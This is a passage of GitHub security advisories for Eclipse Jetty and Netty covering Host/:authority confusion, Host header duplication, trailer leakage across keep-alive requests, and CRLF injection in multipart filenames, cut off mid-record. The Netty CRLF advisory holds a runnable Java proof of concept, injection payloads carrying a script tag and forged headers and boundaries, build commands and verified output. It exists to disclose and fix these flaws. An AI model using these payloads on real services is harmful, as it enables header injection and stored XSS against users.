- Start a Jetty HTTP/2 or HTTP/3 test server.
- Send a request with:
- :authority = localhost:
- Host = evil.example:
- In the request handler, inspect both:
- Request.getServerName(request)
- request.getHeaders().get(HttpHeader.HOST)
- Observe whether Jetty rejects the request or allows both values to remain visible.
Observed result:
- HTTP/2: request is accepted and returns 200
- HTTP/3: request is accepted and returns 200
- the server can observe both:
- serverName=localhost
- hostHeader=evil.example:
This shows that a single attacker-controlled request can preserve two conflicting host interpretations inside Jetty.
Tests Used
HTTP/2 rejection test:
org.eclipse.jetty.http2.tests.HTTP2Test#testRejectMismatchedHostHeaderAndAuthority
HTTP/2 exploitability test:
org.eclipse.jetty.http2.tests.HTTP2Test#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
HTTP/3 rejection test:
org.eclipse.jetty.http3.tests.HandlerClientServerTest#testRejectMismatchedHostHeaderAndAuthority
HTTP/3 exploitability test:
org.eclipse.jetty.http3.tests.HandlerClientServerTest#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
Observed behavior:
- both rejection tests fail because Jetty returns 200 instead of 400
- both exploitability tests pass, confirming that Jetty exposes different host values to different layers
Project-Internal Evidence of Real Impact
Examples:
jetty-openidusesRequest.getServerName(request)to construct redirect URLsjetty-ee11-proxyuses the rawHostheader when buildingForwarded
This indicates that the issue is not merely theoretical: Jetty’s own ecosystem already contains code paths where different host sources are used for different purposes.
Affected Version
Confirmed affected version:
- 12.1.9-SNAPSHOT
Other versions may also be affected if they share the same HTTP/2 / HTTP/3 request construction and compliance-validation logic. I have not yet completed a historical version matrix and would recommend confirming exact affected ranges from Jetty’s branch history.
Suggested Fix
Recommend adding HTTP/2 and HTTP/3 validation equivalent to the existing HTTP/1.1 authority/Host consistency check:
- if both :authority and regular Host are present
- normalize and compare them
- if they do not match, reject the request with 400 Bad Request
- route the failure through the existing MISMATCHED_AUTHORITY compliance mechanism
Also adding explicit HTTP/2 and HTTP/3 regression coverage for this case.
Disclosure Status
- not publicly disclosed
- no public issue filed
- shared only privately with the Jetty security contacts
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0.v20161208"
},
{
"last_affected": "9.4.58.v20250814"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"last_affected": "10.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"last_affected": "11.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.34"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.1.8"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "12.1.0"
},
{
"fixed": "12.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6790"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:56:43Z",
"nvd_published_at": "2026-07-14T09:16:41Z",
"severity": "MODERATE"
},
"details": "#### Summary\n\nJetty currently accepts HTTP/2 and HTTP/3 requests where the regular\nHost header and the pseudo-header :authority\ndo not match. As a result, the same request can carry two different host identities\nthrough Jetty:\n\n- logic based on `HttpURI` / `Request.getServerName(request)` uses `:authority`\n- logic based on raw request headers continues to use `Host`\n\nThis creates a host/authority confusion condition that can break\nsecurity assumptions in higher layers.\n\nJetty already performs an explicit authority/Host consistency check on\nthe HTTP/1.1 path, but equivalent validation is missing on the HTTP/2\nand HTTP/3 paths.\n\n#### Security Impact\n\nThis issue is not inherently remote code execution, but it can become\nsecurity-relevant in deployments that rely on the request host for\nsecurity-sensitive decisions, including:\n\n- host-based access control\n- virtual host isolation\n- multi-tenant routing by hostname\n- login/logout/callback URL construction\n- reverse proxy and forwarded-header trust chains\n- auditing, cache keys, and absolute URL generation\n\nPotential consequences include:\n\n- bypass of host-based ACLs\n- virtual host or tenant isolation failures\n- incorrect or attacker-influenced redirect/callback targets\n- inconsistent proxy/downstream interpretation of the original target host\n- misleading logs and audit records\n\n#### Technical Root Cause\n\n1. On the HTTP/2 and HTTP/3 metadata builder paths:\n\n- `:authority` is parsed separately into authority/URI state\n- `Host` is preserved as a normal request header\n- the two values are not compared for consistency\n\n2. On the HTTP/2 and HTTP/3 server entry paths:\n\n- Jetty calls `ComplianceUtils.verify(httpCompliance, requestMetaData, listener)`\n- this verification does not enforce `MISMATCHED_AUTHORITY`\n\n3. On the HTTP/1.1 path:\n\n- Jetty explicitly checks whether authority and `Host` match\n- mismatches are rejected by default\n\n#### Relevant Code Locations\n\nHTTP/2 metadata builder:\n\n- `jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java`\n\nHTTP/3 metadata builder:\n\n- `jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/metadata/MetaDataBuilder.java`\n\nHTTP/2 server entry:\n\n- `jetty-core/jetty-http2/jetty-http2-server/src/main/java/org/eclipse/jetty/http2/server/internal/HttpStreamOverHTTP2.java`\n\nHTTP/3 server entry:\n\n- `jetty-core/jetty-http3/jetty-http3-server/src/main/java/org/eclipse/jetty/http3/server/internal/HttpStreamOverHTTP3.java`\n\nShared HTTP compliance verification:\n\n- `jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/ComplianceUtils.java`\n\nHTTP/1.1 authority/Host consistency check:\n\n- `jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/HttpConnection.java`\n\nDefined but not enforced on H2/H3:\n\n- `jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/HttpCompliance.java`\n- violation: MISMATCHED_AUTHORITY\n\n#### Reproduction\n\nI reproduced this on local Jetty 12.1.9-SNAPSHOT source.\n\nMinimal reproduction steps:\n\n1. Start a Jetty HTTP/2 or HTTP/3 test server.\n2. Send a request with:\n - :authority = localhost:\u003cport\u003e\n - Host = evil.example:\u003cport\u003e\n3. In the request handler, inspect both:\n - Request.getServerName(request)\n - request.getHeaders().get(HttpHeader.HOST)\n4. Observe whether Jetty rejects the request or allows both values to remain visible.\nObserved result:\n - HTTP/2: request is accepted and returns 200\n - HTTP/3: request is accepted and returns 200\n - the server can observe both:\n - serverName=localhost\n - hostHeader=evil.example:\u003cport\u003e\n\nThis shows that a single attacker-controlled request can preserve two conflicting host interpretations inside Jetty.\n\n#### Tests Used\n\n\nHTTP/2 rejection test:\n\n- `org.eclipse.jetty.http2.tests.HTTP2Test#testRejectMismatchedHostHeaderAndAuthority`\n\nHTTP/2 exploitability test:\n\n- `org.eclipse.jetty.http2.tests.HTTP2Test#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader`\n\nHTTP/3 rejection test:\n\n- `org.eclipse.jetty.http3.tests.HandlerClientServerTest#testRejectMismatchedHostHeaderAndAuthority`\n\nHTTP/3 exploitability test:\n\n- `org.eclipse.jetty.http3.tests.HandlerClientServerTest#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader`\n\n\nObserved behavior:\n\n- both rejection tests fail because Jetty returns 200 instead of 400\n- both exploitability tests pass, confirming that Jetty exposes different host values to different layers\n\n#### Project-Internal Evidence of Real Impact\n\nExamples:\n\n- `jetty-openid` uses `Request.getServerName(request)` to construct redirect URLs\n- `jetty-ee11-proxy` uses the raw `Host` header when building `Forwarded`\n\nThis indicates that the issue is not merely theoretical: Jetty\u2019s own\necosystem already contains code paths where different host sources are\nused for different purposes.\n\n#### Affected Version\n\nConfirmed affected version:\n\n- 12.1.9-SNAPSHOT\n\nOther versions may also be affected if they share the same HTTP/2 /\nHTTP/3 request construction and compliance-validation logic. I have\nnot yet completed a historical version matrix and would recommend\nconfirming exact affected ranges from Jetty\u2019s branch history.\n\n\n#### Suggested Fix\n\nRecommend adding HTTP/2 and HTTP/3 validation equivalent to the\nexisting HTTP/1.1 authority/Host consistency check:\n\n- if both :authority and regular Host are present\n - normalize and compare them\n - if they do not match, reject the request with 400 Bad Request\n - route the failure through the existing MISMATCHED_AUTHORITY compliance mechanism\n\nAlso adding explicit HTTP/2 and HTTP/3 regression coverage for this case.\n\n#### Disclosure Status\n\n- not publicly disclosed\n- no public issue filed\n- shared only privately with the Jetty security contacts",
"id": "GHSA-7p3p-8qv8-m2vh",
"modified": "2026-07-22T22:56:43Z",
"published": "2026-07-22T22:56:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-7p3p-8qv8-m2vh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6790"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/issues/14870"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/14871"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/14897"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/14970"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/3e5a4daec196859b8886b6f67b1157dab47cdb6f"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/67ba9e6b39661810123680d9c894e99a7940c73d"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/cbca3076f7c914a232e7a8b22fa95fbf7e67a6cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.35"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.9"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Eclipse Jetty: HTTP Authority/Host mismatch"
}
GHSA-C69G-56F8-XWQJ
Vulnerability from github – Published: 2026-07-22 21:49 – Updated: 2026-07-22 21:49
VLAI
Summary
Netty: [codec-http2] Lack of Host Header Deduplication in HTTP/2→HTTP/1.x Translation Leads to Request Routing Bypass
Details
Netty's HTTP/2-to-HTTP/1.x translation layer (Http2StreamFrameToHttpObjectCodec and InboundHttp2ToHttpAdapter) fails to deduplicate or validate Host headers when an HTTP/2 client supplies both the :authority pseudo-header and a literal host header in a single HEADERS frame. The translator maps :authority to Host and separately copies the literal host header, producing an HttpRequest object containing two Host headers with attacker-controlled differing values.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59900"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:49:28Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Netty\u0027s HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values.",
"id": "GHSA-c69g-56f8-xwqj",
"modified": "2026-07-22T21:49:28Z",
"published": "2026-07-22T21:49:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [codec-http2] Lack of Host Header Deduplication in HTTP/2\u2192HTTP/1.x Translation Leads to Request Routing Bypass"
}
GHSA-F4V5-65JJ-PCR2
Vulnerability from github – Published: 2026-07-22 22:56 – Updated: 2026-07-22 22:56
VLAI
Summary
Eclipse Jetty: Cross-Request Leakage for trailers on HTTP/1.1 keep-alive connections
Details
Description
FINDING — MEDIUM (HTTP/1.1 keep-alive connections with trailers) HttpConnection._trailers Cross-Request Leakage (Never Reset Between Requests)
Location: jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/ HttpConnection.java:107, 1157-1161, 1170
Detail: _trailers (line 107) is a connection-scoped HttpFields.Mutable field. parsedTrailer() (line 1157) populates it when request N carries HTTP trailers. messageComplete() (line 1170) checks "if (_trailers != null)" — evaluates true from request N's data — and stamps it onto request N+1.
Grep confirms: ZERO occurrences of "_trailers = null" in entire HttpConnection.java.
Scenario: Request N: POST /upload (trailers: X-Checksum: abc123) Request N+1: GET /data (no trailers) app: request.getTrailers() on N+1 → returns {X-Checksum: abc123} ← STALE
Application logic branching on getTrailers() != null produces incorrect behavior. Not cross-connection (same keep-alive connection only).
More dangerous scenario: TOCTOU — trailer passes check, target swapped before use.
Workarounds
Do not rely on HTTP request trailers for security-sensitive logic, or disable persistent connections by closing the connection after each HTTP/1.1 request.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.35"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.36"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.1.9"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "12.1.0"
},
{
"fixed": "12.1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-10051"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:56:05Z",
"nvd_published_at": "2026-07-14T09:16:39Z",
"severity": "MODERATE"
},
"details": "### Description\n\n\u003e FINDING \u2014 MEDIUM (HTTP/1.1 keep-alive connections with trailers)\n\u003e HttpConnection._trailers Cross-Request Leakage (Never Reset Between Requests)\n\u003e \n\u003e Location:\n\u003e jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/\n\u003e HttpConnection.java:107, 1157-1161, 1170\n\u003e \n\u003e Detail:\n\u003e _trailers (line 107) is a connection-scoped HttpFields.Mutable field.\n\u003e parsedTrailer() (line 1157) populates it when request N carries HTTP trailers.\n\u003e messageComplete() (line 1170) checks \"if (_trailers != null)\" \u2014 evaluates true\n\u003e from request N\u0027s data \u2014 and stamps it onto request N+1.\n\u003e \n\u003e Grep confirms: ZERO occurrences of \"_trailers = null\" in entire HttpConnection.java.\n\u003e \n\u003e Scenario:\n\u003e Request N: POST /upload (trailers: X-Checksum: abc123)\n\u003e Request N+1: GET /data (no trailers)\n\u003e app: request.getTrailers() on N+1 \u2192 returns {X-Checksum: abc123} \u2190 STALE\n\u003e \n\u003e Application logic branching on getTrailers() != null produces incorrect behavior.\n\u003e Not cross-connection (same keep-alive connection only).\n\u003e \n\u003e More dangerous scenario: TOCTOU \u2014 trailer passes check, target swapped before use.\n\n### Workarounds\nDo not rely on HTTP request trailers for security-sensitive logic, or disable persistent connections by closing the connection after each HTTP/1.1 request.",
"id": "GHSA-f4v5-65jj-pcr2",
"modified": "2026-07-22T22:56:05Z",
"published": "2026-07-22T22:56:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-f4v5-65jj-pcr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10051"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/15162"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/15163"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/72206b3ea623cf7ed8729b47a83ee628ff10e8eb"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/dc27e8d3ab743fe27935ea2d8c41756eb6c5bae9"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.36"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eclipse Jetty: Cross-Request Leakage for trailers on HTTP/1.1 keep-alive connections"
}
GHSA-GCJF-9MGH-3P7G
Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52
VLAI
Summary
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Details
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-http multipart) |
| Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| CVSS 3.1 Score | 8.1 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (attacker must be able to upload files with controlled filenames) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
io.netty.handler.codec.http.multipart.HttpPostRequestEncoder— directly concatenates unvalidated filename/name intoContent-DispositionMIME headers (lines 519, 633, 674, 682, 686-688)io.netty.handler.codec.http.multipart.DiskFileUpload—setFilename()only checks null (line 78)io.netty.handler.codec.http.multipart.MemoryFileUpload—setFilename()only checks null (line 60)io.netty.handler.codec.http.multipart.MixedFileUpload—setFilename()delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
+ HttpHeaderValues.ATTACHMENT + "; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
// DiskFileUpload.java:77-79
public void setFilename(String filename) {
this.filename = ObjectUtil.checkNotNull(filename, "filename");
// NO CRLF VALIDATION
}
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- The application uses Netty's
HttpPostRequestEncoderto construct multipart HTTP requests - The filename of an uploaded file is derived from user-controlled input
- The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload(
"avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);
Wire format:
--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload
--"
content-type: image/jpeg <-- Original (now ignored by many parsers)
...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
/**
* PoC: HTTP Multipart Content-Disposition Header Injection via Filename
*
* Demonstrates that HttpPostRequestEncoder does not validate filenames
* for CRLF characters, allowing injection of arbitrary MIME headers
* into multipart form data.
*/
public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ===");
}
static void testFilenameInjection() throws Exception {
System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
System.out.println("-------------------------------------------------------");
// Create a temporary file for upload
File tempFile = File.createTempFile("test", ".txt");
tempFile.deleteOnExit();
try (FileWriter fw = new FileWriter(tempFile)) {
fw.write("test content");
}
// Malicious filename with CRLF to inject Content-Type header
String maliciousFilename =
"innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
"<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
new DefaultHttpDataFactory(false), request, true,
StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload(
"file", maliciousFilename, "application/octet-stream",
"binary", StandardCharsets.UTF_8, tempFile.length());
fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload);
encoder.finalizeRequest();
// Read the encoded multipart body
StringBuilder body = new StringBuilder();
while (!encoder.isEndOfInput()) {
HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
if (chunk != null) {
body.append(chunk.content().toString(StandardCharsets.UTF_8));
chunk.release();
}
}
encoder.cleanFiles();
String encoded = body.toString();
System.out.println("Malicious filename: " +
maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
System.out.println();
System.out.println("Encoded multipart body:");
System.out.println("---");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true");
boolean hasInjectedScript = encoded.contains("<script>");
System.out.println();
System.out.println("Injected X-Injected header: " + hasInjectedHeader);
System.out.println("Injected script tag: " + hasInjectedScript);
System.out.println("VULNERABLE: " +
((hasInjectedHeader || hasInjectedScript) ?
"YES - MIME header injection!" : "NO"));
tempFile.delete();
}
}
How to Compile and Run
# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
-Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
-Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
-Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body:
---
--88aaade41dbb9f9f\r
content-disposition: form-data; name="file"; filename="innocent.txt"\r
Content-Type: text/html\r <-- INJECTED
X-Injected: true\r <-- INJECTED
\r
<script>alert(1)</script>\r <-- INJECTED XSS
--"\r
content-length: 12\r
content-type: application/octet-stream\r
content-transfer-encoding: binary\r
\r
test content\r
--88aaade41dbb9f9f--\r
---
Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens |
| Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content |
| Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back |
| Form Field Override | Inject new multipart boundaries to create/override form fields |
| Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
ObjectUtil.checkNotNull(filename, "filename");
for (int i = 0; i < filename.length(); i++) {
char c = filename.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"filename contains prohibited CRLF character at index " + i);
}
}
this.filename = filename;
}
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n' || c == '"') {
throw new ErrorDataEncoderException(
"Multipart parameter contains prohibited character at index " + i);
}
}
return value;
}
// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field
- RFC 7578: Returning Values from Forms: multipart/form-data
- RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
- CWE-93: Improper Neutralization of CRLF Sequences
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
- GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
Severity
5.7 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
